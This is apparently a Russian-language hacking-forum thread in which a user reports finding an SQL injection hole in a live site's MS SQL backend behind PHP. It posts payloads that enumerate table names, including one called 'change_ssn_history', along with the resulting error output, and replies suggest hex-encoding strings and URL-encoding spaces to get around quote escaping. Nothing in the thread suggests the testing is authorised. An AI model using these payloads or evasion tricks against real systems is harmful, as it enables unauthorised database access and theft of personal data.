Проблема , Ms Sql

[Isis]

Нашел вообщем дыру на сайте...
Стоит MS SQL
POST запросы....

' or 1=@@version-- работает, получается экранирования кавычек нету?так?!

Пробую
' or 1=(SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('change_ssn_history'))--

Здесь ругается:
Warning: mssql_query() [function.mssql-query]: message: Line 1: Incorrect syntax near '\'. (severity 15) in C:\AppServ2\www\index.php on line 17

Warning: mssql_query() [function.mssql-query]: Query failed in C:\AppServ2\www\index.php on line 17

Warning: mssql_num_rows(): supplied argument is not a valid MS SQL-result resource in C:\AppServ2\www\index.php on line 18

Че за?

[geezer.code]

странно ( может ограничение по длине запроса ?
хотя в таком случае не должно быть "\"

[Scipio]

пробуй hex
' or 1=(SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN (0x6368616E67655F73736E5F686973746F7279)--
мож поможет?

[guest3297]

там php а не asp остюда кривой вывод.

[guest3297]

Змен пробелы на %20 or + or %2B

если че стукни в асю буду свободен посмотрю.

[Termin@L]

У меня была такая фигня, что кавычки нельзя использовать...

[guest3297]

See this - http://forum.antichat.ru/showpost.php?p=453569&postcount=28